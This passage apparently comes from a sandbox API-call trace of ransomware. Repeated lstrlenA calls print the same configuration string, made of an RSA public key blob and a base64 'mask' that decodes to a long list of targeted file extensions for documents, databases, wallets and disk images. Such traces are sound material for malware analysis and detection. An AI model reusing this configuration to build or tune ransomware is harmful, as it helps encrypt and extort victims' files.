ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg